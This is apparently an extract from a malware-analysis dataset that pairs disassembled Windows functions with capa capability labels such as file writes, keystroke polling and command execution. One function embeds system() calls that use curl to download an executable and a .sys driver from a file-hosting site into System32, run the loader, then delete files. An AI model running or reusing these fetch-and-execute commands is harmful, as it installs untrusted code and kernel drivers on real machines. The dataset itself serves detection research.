joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400152a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14095fe80]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x1400152dd
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400152e4
mov al, 1
jmp 0x14001543c
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.14000b960
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.14000b960
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
call fcn.14000b970
movzx eax, al
test eax, eax
je 0x140015339
xor al, al
jmp 0x14001543c
mov qword [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400153a9
cmp dword [rsp + 0x30], 1
je 0x1400153b5
cmp dword [rsp + 0x30], 3
je 0x14001542a
jmp 0x14001543a
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140015401
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x140015401
xor al, al
jmp 0x14001543c
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001541b
mov dword [rsp + 0x34], 1
jmp 0x140015423
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x14001543c
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001543c
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400f2e00
add rsp, 0xa8
ret

Function at 0x140016520
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x38
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140016540
mov byte [rsp + 0x20], 1
jmp 0x140016545
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140016580
Capabilities:
Delete file
Execute command

Disassembly:
sub rsp, 0x88
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov ecx, Ordinal_79
call fcn.1400150b0
lea rcx, str.color_c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rdx, str._n_Driver_not_loadedd_n
lea rcx, [rsp + 0x20]
call fcn.140004c20
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x20]
call fcn.140017090
nop
lea rcx, [rsp + 0x20]
call fcn.140005270
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov ecx, Ordinal_79
call fcn.1400150b0
nop
lea rdx, str._n_Loading_driver..._n
lea rcx, [rsp + 0x40]
call fcn.140004c20
nop
mov edx, Ordinal_26
lea rcx, [rsp + 0x40]
call fcn.140017090
nop
lea rcx, [rsp + 0x40]
call fcn.140005270
nop
lea rcx, str.curl___silent_https:__files.catbox.moe_i7z05r.bin___output_C:WindowsSystem32dload.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_7n78yq.sys___output_C:WindowsSystem32drv.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_bv0es5.wav___output_C:Windows_audio.wav__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32dload.exe_C:WindowsSystem32drv.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rdx, str._n_n_n____loaded_driver__maybe_
lea rcx, [rsp + 0x60]
call fcn.140004c20
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x60]
call fcn.140017090
nop
lea rcx, [rsp + 0x60]
call fcn.140005270
nop
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32mappa.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32d.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400fa8ec]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
add rsp, 0x88
ret
Function at 0x140017670
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14095fe80]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x1400176a4
xor eax, eax
jmp 0x1400178a1
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x1400176d6
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x1400178a1
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140017788
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140004860
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.140009a20
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
nop
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x140017891
mov rcx, qword [rsp + 0x80]
call fcn.1400157c0
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x14001783e
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140017839
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x1400178a1
jmp 0x1400177b4
cmp qword [rsp + 0x50], 0
jbe 0x140017891
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400f2e00
add rsp, 0x78
ret
Function at 0x1400178c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x1400178f9
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x1400179e8
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x140017990
cmp qword [rsp + 0x20], 0
jle 0x140017990
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x140017939
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140009a20
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rsp + 0x50], 0
jle 0x1400179d8
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x1400179d8
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x140026530
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movss dword [rsp + 0x20], xmm3
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x78
xorps xmm2, xmm2
xorps xmm1, xmm1
mov rcx, qword [rsp + 0x80]
call fcn.140004de0
nop
mov eax, dword [rsp + 0x88]
and eax, 1
test eax, eax
je 0x14002660b
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_sendto
call fcn.1400267f0
movss dword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_send
call fcn.1400267f0
movss xmm1, dword [rsp + 0x20]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x28], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_select
call fcn.1400267f0
movss dword [rsp + 0x24], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, reloc.WS2_32.dll_recvfrom
call fcn.1400267f0
movss xmm1, dword [rsp + 0x24]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x2c], xmm0
movss xmm2, dword [rsp + 0x28]
movss xmm1, dword [rsp + 0x2c]
lea rcx, [rsp + 0x50]
call fcn.140004de0
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.14000df60
nop
mov eax, dword [rsp + 0x88]
and eax, 2
test eax, eax
je 0x1400266ba
mov edx, dword [rsp + 0x90]
mov ecx, 7
call fcn.1400267f0
movss dword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 6
call fcn.1400267f0
movss xmm1, dword [rsp + 0x30]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x38], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 5
call fcn.1400267f0
movss dword [rsp + 0x34], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 4
call fcn.1400267f0
movss xmm1, dword [rsp + 0x34]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x3c], xmm0
movss xmm2, dword [rsp + 0x38]
movss xmm1, dword [rsp + 0x3c]
lea rcx, [rsp + 0x58]
call fcn.140004de0
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.14000df60
nop
mov eax, dword [rsp + 0x88]
and eax, 4
test eax, eax
je 0x140026769
mov edx, dword [rsp + 0x90]
mov ecx, ntohs
call fcn.1400267f0
movss dword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 0xa
call fcn.1400267f0
movss xmm1, dword [rsp + 0x40]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x48], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 9
call fcn.1400267f0
movss dword [rsp + 0x44], xmm0
mov edx, dword [rsp + 0x90]
mov ecx, 8
call fcn.1400267f0
movss xmm1, dword [rsp + 0x44]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x4c], xmm0
movss xmm2, dword [rsp + 0x48]
movss xmm1, dword [rsp + 0x4c]
lea rcx, [rsp + 0x60]
call fcn.140004de0
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call fcn.14000df60
nop
movss xmm0, dword [rsp + 0x98]
ucomiss xmm0, dword [0x1400fa0c0]
jp 0x14002677d
je 0x1400267a5
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140029140
movzx eax, al
test eax, eax
je 0x1400267a5
movss xmm1, dword [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
call fcn.14001b7f0
nop
movss xmm0, dword [rsp + 0xa0]
ucomiss xmm0, dword [0x1400fa0c0]
jp 0x1400267b9
je 0x1400267e1
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140029140
movzx eax, al
test eax, eax
je 0x1400267e1
movss xmm1, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x80]
call fcn.14001b7f0
nop
mov rax, qword [rsp + 0x80]
add rsp, 0x78
ret
Function at 0x140027220
Capabilities:
Read file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
cmp qword [rsp + 0x70], 0
je 0x14002724d
mov rax, qword [rsp + 0x70]
mov qword [rax], 0
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.1400273a0
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140027270
xor eax, eax
jmp 0x140027391
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400272b1
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
je 0x1400272b1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
je 0x1400272c3
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
jmp 0x140027391
movsxd rax, dword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movsxd rax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14002a350
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140027304
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
jmp 0x140027391
mov r9, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov edx, 1
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, qword [rsp + 0x30]
je 0x14002733e
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [rsp + 0x38]
call fcn.14002a3b0
xor eax, eax
jmp 0x140027391
cmp dword [rsp + 0x78], 0
jle 0x14002736b
movsxd rax, dword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
mov rdi, rcx
xor eax, eax
mov rcx, qword [rsp + 0x40]
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
nop
cmp qword [rsp + 0x70], 0
je 0x14002738c
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
mov rax, qword [rsp + 0x38]
add rsp, 0x50
pop rdi
ret
Function at 0x140027720
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov eax, 4
imul rax, rax, 1
lea rcx, [0x1409611b0]
cmp dword [rcx + rax], 0
jne 0x1400277c2
mov dword [rsp + 0x2c], 0xedb88320
mov dword [rsp + 0xc], 0
jmp 0x140027764
mov eax, dword [rsp + 0xc]
inc eax
mov dword [rsp + 0xc], eax
cmp dword [rsp + 0xc], 0x100
jae 0x1400277c2
mov eax, dword [rsp + 0xc]
mov dword [rsp + 0x10], eax
mov dword [rsp + 0x20], 0
jmp 0x14002778a
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 8
jae 0x1400277ae
mov eax, dword [rsp + 0x10]
shr eax, 1
mov ecx, dword [rsp + 0x10]
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor eax, ecx
mov dword [rsp + 0x10], eax
jmp 0x140027780
mov eax, dword [rsp + 0xc]
lea rcx, [0x1409611b0]
mov edx, dword [rsp + 0x10]
mov dword [rcx + rax*4], edx
jmp 0x14002775a
mov eax, dword [rsp + 0x50]
not eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 4], eax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x18], rax
cmp dword [rsp + 0x48], 0
jle 0x140027845
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x48]
dec eax
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x24], 0
je 0x140027840
mov eax, dword [rsp + 4]
shr eax, 8
mov ecx, dword [rsp + 4]
and ecx, 0xff
mov rdx, qword [rsp + 0x18]
movzx edx, byte [rdx]
xor ecx, edx
mov ecx, ecx
lea rdx, [0x1409611b0]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x18]
inc rax
mov qword [rsp + 0x18], rax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 4], eax
jmp 0x1400277e5
jmp 0x1400278d9
mov rax, qword [rsp + 0x18]
movzx eax, byte [rax]
mov byte [rsp + 8], al
mov rax, qword [rsp + 0x18]
inc rax
mov qword [rsp + 0x18], rax
movzx eax, byte [rsp + 8]
mov byte [rsp], al
movzx eax, byte [rsp]
test eax, eax
je 0x1400278d9
movzx eax, byte [rsp]
cmp eax, 0x23
jne 0x1400278ad
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x18]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x1400278ad
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x18]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x1400278ad
mov eax, dword [rsp + 0x50]
mov dword [rsp + 4], eax
mov eax, dword [rsp + 4]
shr eax, 8
mov ecx, dword [rsp + 4]
and ecx, 0xff
movzx edx, byte [rsp]
xor ecx, edx
mov ecx, ecx
lea rdx, [0x1409611b0]
xor eax, dword [rdx + rcx*4]
mov dword [rsp + 4], eax
jmp 0x140027845
mov eax, dword [rsp + 4]
not eax
add rsp, 0x38
ret
Function at 0x140031210
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x14095fe80]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rax, qword [0x140961130]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
xorps xmm0, xmm0
movss dword [rax + 0x2d9c], xmm0
cmp qword [rsp + 0x60], 0
jne 0x14003124e
jmp 0x1400312ac
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x38]
call fcn.1400312c0
mov qword [rsp + 0x30], rax
lea rdx, [0x1400fb510]
mov rcx, qword [rsp + 0x60]
call fcn.1400273a0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140031286
jmp 0x1400312ac
mov r9, qword [rsp + 0x20]
mov r8, qword [rsp + 0x38]
mov edx, 1
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
nop
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400f2e00
add rsp, 0x58
ret
Function at 0x14004f090
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x78
mov rax, qword [0x14095fe80]
xor rax, rsp
mov qword [rsp + 0x60], rax
call fcn.140026490
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1409616d0]
call qword [sym.imp.USER32.dll_GetClientRect]
nop
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm0, eax
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm1, eax
movaps xmm2, xmm0
lea rcx, [rsp + 0x3c]
call fcn.140004de0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rax
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x1409616d8]
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
cvtsi2ss xmm0, rax
cvtsi2ss xmm1, qword [0x1409616e0]
divss xmm0, xmm1
mov rax, qword [rsp + 0x20]
movss dword [rax + 0x10], xmm0
mov rax, qword [rsp + 0x58]
mov qword [0x1409616d8], rax
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14004f15d
mov dword [rsp + 0x28], 1
jmp 0x14004f165
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x20]
movzx ecx, byte [rsp + 0x28]
mov byte [rax + 0x128], cl
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14004f194
mov dword [rsp + 0x2c], 1
jmp 0x14004f19c
mov dword [rsp + 0x2c], 0
mov rax, qword [rsp + 0x20]
movzx ecx, byte [rsp + 0x2c]
mov byte [rax + 0x129], cl
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14004f1cb
mov dword [rsp + 0x30], 1
jmp 0x14004f1d3
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x20]
movzx ecx, byte [rsp + 0x30]
mov byte [rax + 0x12a], cl
mov rax, qword [rsp + 0x20]
mov byte [rax + 0x12b], 0
call fcn.14004f380
mov rax, qword [rsp + 0x20]
movzx eax, byte [rax + 0xc8]
test eax, eax
je 0x14004f20e
mov dword [rsp + 0x34], 0xffffffff
jmp 0x14004f217
call fcn.140026520
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cmp dword [reloc.WS2_32.dll_htonl], eax
je 0x14004f23b
mov eax, dword [rsp + 0x38]
mov dword [reloc.WS2_32.dll_htonl], eax
call fcn.14004f260
nop
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400f2e00
add rsp, 0x78
ret
Function at 0x140054dd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x70], eax
jne 0x140054df8
xorps xmm0, xmm0
jmp 0x140054fc7
movss xmm0, dword [rsp + 0x80]
ucomiss xmm0, dword [0x1400fa2b8]
jp 0x140054e0c
je 0x140054e21
cmp dword [rsp + 0x60], 4
je 0x140054e1a
cmp dword [rsp + 0x60], 5
jne 0x140054e21
mov byte [rsp + 0x20], 1
jmp 0x140054e26
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x21], al
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x70], eax
jge 0x140054e51
mov r8d, dword [rsp + 0x78]
mov edx, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x68]
call fcn.14004f840
mov dword [rsp + 0x28], eax
jmp 0x140054e67
mov r8d, dword [rsp + 0x70]
mov edx, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x68]
call fcn.14004f840
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x24], eax
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x140054fa3
cvtsi2ss xmm0, dword [rsp + 0x24]
xorps xmm1, xmm1
comiss xmm1, xmm0
jbe 0x140054f18
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c], eax
mov edx, dword [rsp + 0x78]
xor ecx, ecx
call fcn.14004fb60
sub eax, dword [rsp + 0x70]
mov dword [rsp + 0x30], eax
mov ecx, dword [rsp + 0x2c]
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x30]
idiv ecx
cvtsi2ss xmm0, eax
movss xmm1, dword [0x1400fa2b8]
subss xmm1, xmm0
movaps xmm0, xmm1
movss dword [rsp + 0x34], xmm0
movss xmm0, dword [0x1400fa2b8]
divss xmm0, dword [rsp + 0x80]
movaps xmm1, xmm0
movss xmm0, dword [rsp + 0x34]
call fcn.140057bc0
movss xmm1, dword [0x1400fa2b8]
subss xmm1, xmm0
movaps xmm0, xmm1
mulss xmm0, dword [rsp + 0x88]
jmp 0x140054fc7
mov edx, dword [rsp + 0x70]
xor ecx, ecx
call fcn.140036390
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x70]
xor ecx, ecx
call fcn.140036390
mov ecx, dword [rsp + 0x78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov ecx, dword [rsp + 0x38]
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x3c]
idiv ecx
